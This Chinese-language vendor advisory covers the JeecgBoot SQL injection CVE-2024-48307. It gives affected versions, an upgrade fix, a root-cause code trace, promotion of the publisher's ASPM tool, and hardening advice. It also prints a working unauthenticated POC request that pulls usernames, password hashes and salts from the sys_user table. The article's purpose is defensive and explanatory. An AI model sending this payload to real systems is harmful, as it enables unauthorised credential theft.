在數字化浪潮中,Web 應用已成為企業運營的核心。然而,隨之而來的安全挑戰也日益嚴峻,其中 SQL 注入漏洞作為一種經典的攻擊手段,至今仍是威脅數據安全的重要因素。近期,JeecgBoot 低代碼平臺被曝出 SQL 注入漏洞(CVE-2024-48307),再次提醒我們對數據庫安全的重視。本文將圍繞這一漏洞,從其概覽、風險自查、修復建議,到漏洞原理、復現與追蹤,再到如何通過專業工具和策略進行有效防護,為您提供一份全面的技術解讀,旨在幫助企業構建更堅固的安全防線。
01
漏洞概覽
/ TINGYUN
JeecgBoot是一個由Java開發的一款的集成AI應用的,基于BPM流程的低代碼平臺。JeecgBoot v3.7.1版本存在安全漏洞,該漏洞源于通過組件/onlDragDatasetHead/getTotalData 發現包含 SQL 注入漏洞。該漏洞允許攻擊者通過構造惡意請求,在未授權的情況下直接對數據庫進行操作,從而可能導致數據泄露、數據篡改,甚至獲取數據庫控制權。這無疑對依賴 JeecgBoot 平臺的用戶構成了巨大的潛在威脅。
02
風險自查
/ TINGYUN
為了及時發現并規避潛在風險,企業應當對使用的 JeecgBoot 版本進行自查。您可以通過檢查 org.jeecgframework.boot:jeecg-boot-parent 的版本,核查您的 JeecgBoot 是否處于以下受影響的范圍內:org.jeecgframework.boot:jeecg-boot-parent
03
如何修復受影響的程序
/ TINGYUN
針對JeecgBoot SQL 注入漏洞,最直接有效的修復方式是升級您的 JeecgBoot 版本。請注意以下升級建議:
-
升級到 org.jeecgframework.boot:jeecg-boot-parent 3.7.1 以上版本。
04
漏洞原理
/ TINGYUN
CVE-2024-48307 JeecgBoot 在線報表 SQL 注入漏洞的根本原因在于以下方面:
-
未授權訪問:接口 /drag/onlDragDatasetHead/getTotalData 被配置為未授權訪問(anon),任何用戶都能直接調用。
-
參數未嚴格校驗:接口接收的 tableName 和 condition 參數在拼接 SQL 時未經過嚴格校驗。
-
未使用預編譯:未使用 MyBatis 的預編譯(參數綁定)方式,而是直接拼接到 SQL 語句中。
攻擊者可以構造惡意請求,在 tableName 或查詢條件中注入 SQL 語句,從而導致數據泄露、數據篡改,甚至獲取數據庫控制權限。 ?
03
如何修復受影響的程序
/ TINGYUN
為了更直觀地理解 SQL 注入漏洞的利用過程,我們將通過 JeecgBoot v3.7.1版本進行漏洞復現。以下是詳細的復現步驟:
1.搭建環境
根據官方文檔進行環境搭建,只進行漏洞復現可不搭建前端環境:
源代碼:https://github.com/jeecgboot/JeecgBoot/tree/v3.7.1
官方搭建文檔:https://help.jeecg.com/java/setup/idea/startup.html
啟動環境

2.構造 POC 并請求接口
構造 poc,請求接口 POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData

3.POC
POST/jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: {host}:8080
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Referer: http://{host}/jeecg-boot/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Request-Origion: Knife4j
knife4j-gateway-code: ROOT
Origin: http://{host}:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: */*
Content-Length: 357
{
“tableName”: “sys_user”,
“compName”: “test”,
“condition”: { “filter”: {} },
“config”: {
“assistValue”: [],
“assistType”: [],
“name”: [
{ “fieldName”: “concat(username,0x3a,password,0x3a,salt)”, “fieldType”: “string” },
{ “fieldName”: “id”, “fieldType”: “string” }
],
“value”: [{ “fieldName”: “id”, “fieldType”: “string” }],
“type”: []
}
}
04
漏洞追蹤
/ TINGYUN
為了更深入地理解漏洞的成因,我們對JeecgBoot的相關代碼進行了追蹤分析:
//1.權限控制分析
jeecg 通過 shiro 控制權限,先找到 ShiroConfig.java,JeecgBoot-3.7.1jeecg-bootjeecg-boot-base-coresrcmainjavaorgjeecgconfigshiroShiroConfig.java,可以看到 /jeecg-boot/drag/onlDragDatasetHead/getTotalData 配置了不需要 anon,即匿名訪問,不需要登錄就能訪問。

//2.定位漏洞路由
存在漏洞的路由為:/jeecg-boot/drag/onlDragDatasetHead/getTotalData,找到對應的文件,找到對應路由。

//3.參數獲取與傳遞
通過調試模式,可以發現可以讓 compName 不等于”JPivotTable”,進入 this.onlDragDatasetHeadService.getTotalData(var3, var4, var5, var6, var9),var3,var4,var5,var6 均從請求中獲取,var9 為身份校驗后的結果,此漏洞無需驗證身份。

//4.進一步跟進
跟進后進入 org.jeecg.modules.drag.service.a.d#getTotalData,讓請求頭中的 config.formtype 不等于 design。

//5.關鍵變量分析
進入 org.jeecg.modules.drag.service.a.i,在 handleOnlineForm 中,var7 為關鍵,其中包含需要查詢的字段。

//6.SOL拼接問題
進一步跟進 this.onlDragDatasourceDao.selectListBySql 方法,發現這里沒有對用戶輸入的參數進行過濾,而是直接拼接 SQL 語句進行查詢,并將查詢結果返回給 var8。此時,系統已經根據用戶輸入的惡意參數進行了查詢,從而導致 SQL 注入。

05
聽云 ASPM 如何提供幫助
/ TINGYUN
面對日益復雜的網絡安全威脅,專業的應用安全性能管理(ASPM)工具顯得尤為重要。聽云 ASPM 用戶可以通過威脅感知,組件風險,來實時觀察自己的系統是否存在依賴 0day 安全風險以及 1day 或 nday 的組件風險。針對上述 jeecgBoot SQL 注入漏洞,聽云 ASPM 能夠發揮以下關鍵作用:

SQL 注入漏洞發現?
當 JeecgBoot 通過聽云探針插樁后,惡意攻擊者嘗試有效 SQL 攻擊,在聽云 ASPM 的深度威脅中能夠立即發現 SQL 漏洞。

威脅感知詳情
通過 ASPM,用戶可以看到 SQL 攻擊的請求信息和漏洞信息,幫助企業快速定位觸發漏洞的位置。

威脅感知詳情-修復方案
ASPM 還提供 SQL 注入漏洞的原理解析和修復示例,幫助開發人員理解和修復漏洞。
06
企業如何應對SQL注入漏洞
/ TINGYUN
在企業 Web 應用開發過程中,隨著系統功能的不斷擴展,接口數量往往成百上千。開發者在趕工期或維護過程中,常常會忽視對某些接口參數的嚴格過濾,從而埋下安全隱患,SQL 注入漏洞就是其中的高發問題。例如,《CVE-2024-48307 JeecgBoot SQL 注入漏洞》就是典型案例。攻擊者僅需通過構造惡意請求參數,即可將惡意 SQL 拼接到查詢語句中,進而實現數據庫數據泄露甚至系統控制。
應對這類問題的核心在于確保數據庫查詢的安全性,并構建多層次的防護體系:
· 嚴格的輸入校驗:所有與數據庫交互的參數都必須經過合法性校驗,避免直接拼接 SQL。建議采用參數化查詢(PreparedStatement)或 MyBatis 占位符綁定的方式,而不是字符串拼接。
· 最小化數據庫權限:限制數據庫賬戶權限,例如只授予查詢權限,避免開發庫賬號擁有 DROP、UPDATE、DELETE 等危險操作權限,降低注入被利用后的危害面。
· 數據庫層防護:在數據庫層開啟 SQL 防火墻(如 MySQL 的 SQL_SAFE_UPDATES 或 WAF 規則),過濾掉明顯的注入語句,阻斷異常查詢。
· 統一安全框架:企業應建立統一的數據訪問安全框架,屏蔽底層 SQL 拼接邏輯,開發人員只能通過安全封裝后的接口進行數據庫訪問。
然而,在實際的企業應用中,接口數量龐大、業務迭代頻繁,即使有規范和框架,也難以保證所有接口 100% 安全無誤。這時,借助專業工具的價值就尤為突出。通過聽云應用安全性能管理(ASPM)、SAST/IAST 等專業工具,企業能夠自動化發現 SQL 注入風險,持續追蹤接口中的安全缺陷,快速定位問題接口與觸發條件,從而有效筑牢整體安全防線。
通過以上措施,企業才能在高頻迭代 + 海量接口的環境下,從源頭上減少類似 JeecgBoot SQL 注入漏洞的發生,并在開發、測試、上線全鏈路中形成可持續、可量化的安全保障機制。
?
面對日益嚴峻的網絡安全形勢,企業必須從開發、部署到運維的各個環節,全面加強安全防護。通過嚴格的輸入校驗、合理的權限管理、數據庫層防護、統一安全框架以及引入專業的 ASPM 工具,企業能夠有效抵御 SQL 注入等各類安全威脅,確保業務的持續穩定運行。
參考:
https://github.com/jeecgboot/JeecgBoot/issues/7237
聲明:
本文的所有漏洞環境均為本地測試環境,且本文僅供學習、安全研究參考使用,請勿用作違法用途,否則后果自負。
推薦閱讀

隨著AI智能技術的不斷成熟,它的應用領域變得越來越廣泛,借助這種技術手段就可以實現高效的告警監控系統。它采用了大數據人工智能技術,可以進行實時的數據采集分析,并且具有自我學習的能力,可以對系統產生的各種告警信息進行智能化處理,及時識別除異常行為,有著非常明顯的優勢。
2023-04-26
apm應用性能管理軟件?,是一種專門設計用于監測、管理和優化各種軟件應用性能的工具。無論是企業內部使用的關鍵業務應用,還是向用戶提供的在線服務,apm軟件都能提供深入的性能分析,從而幫助用戶快速識別問題、解決瓶頸并提升系統效率。
2023-08-30







